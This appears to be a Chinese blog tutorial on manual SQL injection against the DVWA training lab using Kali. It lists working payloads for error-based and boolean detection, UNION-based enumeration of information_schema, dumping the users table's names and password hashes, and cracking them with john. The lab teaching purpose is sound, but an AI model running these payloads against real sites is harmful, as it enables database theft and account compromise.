小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

SQL手工注入(一)

SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。【SQL注入原理

##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器

用户登录判断

SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘  【OR:逻辑运算符,(password假)''或''('1'='1'真)】

SQL注入存在位置

表单、GET方式的URL

SQL检测方法

1、基于报错的检测方法(low)

'    (单引号)

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

''  (尝试两个单引号)【结果:两两闭合】

#'a"b  (单引号+a+双引号+b)

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

#'a"b' (单引号+a+双引号+b+')

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

则证明可以构造复杂的SQL语句进行注入

"

%

()

 2、基于布尔的检测

First:   1' and '1'='1    等于 1' and '1            【猜测语句:select first_name,surname from users where id='  1' and '1'='1 '  】

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

Second:  1' and '1'='2       等于  1' and '0      【若无返回结果,则可验证上猜测语句】

 3、表列数/显示信息位于哪一列

' order by  9-- (单引号+order by +空格+ 数字【该数字用于指定字段,可以填大而后猜确切列数】+ --+空格一定要注意有空格,否则会语法错误  --:为注释】)

 构造select语句

 4、联合查询【为了在过滤的单引号后面,再运行查询语句】

union与union all 作用基本完全相同

First:' union select 1,2--                     【确定查询后结果在页面中出现位置】

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

Second:1' union select user(),2--              【1替换成一个数据库默认函数user() 查询数据库用户】

' union select user(),version()--        【将2替换成函数version() 查询版本】

 database()   查询数据库名称

全局函数:@@datadir    查询数据库的文件位置

@@hostname   查询主机名

@@version_compile_os   查询操作系统版本

 

 构造复杂的SQL语句

' union select database(),substring_index(USER(),"@",1)--

为方便查看指令,使用火狐插件hackbug,使用F9调出

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

绕过一些过滤不严的机制

CHAR()       将ASCII码转换为对应字符

连接字符

 CONCAT_WS()                       将多个函数连接在一起   

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

 计算MD5 【可用于使用别人的服务器资源来为自己做大量的数据运算】

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

了解数据库的数据结构

MySQL:所有的元数据都保存在一张元数据表【information_schema】

1、查看所有库所有表/统计库中表的数量

' union select table_name,table_schema from information_schema.tables--+     [所有库所有表]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --  [统计每个库中表的数量]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

2、 Dvwa库中的表名   【一个参数漏洞,也可造成拖库】

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+     【通过表名猜测账号密码存放位置】

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

3、查询users表中所有的列(user_id、first_name、last_name、user、password、avatar)

 ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

4、查询user、password列中的内容 

' union select user,password from dvwa.users--+

' union select user,password from users--+

' union select null, concat(user,0x3a,password) from users--+   【concat:连接,需指定分隔符】

5、密码破解

猜测密码算法:hash-identifier

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

username:passhash ——> dvwa.txt    【将账号:密码整理成一个文本文件】

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

工具:
john --format=raw-MD5 dvwa.txt

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

上一篇:【C#】C#对电子邮件的收发操作


下一篇:【已解决】Python脚本运行出现语法错误:IndentationError: unindent does not match any outer indentation level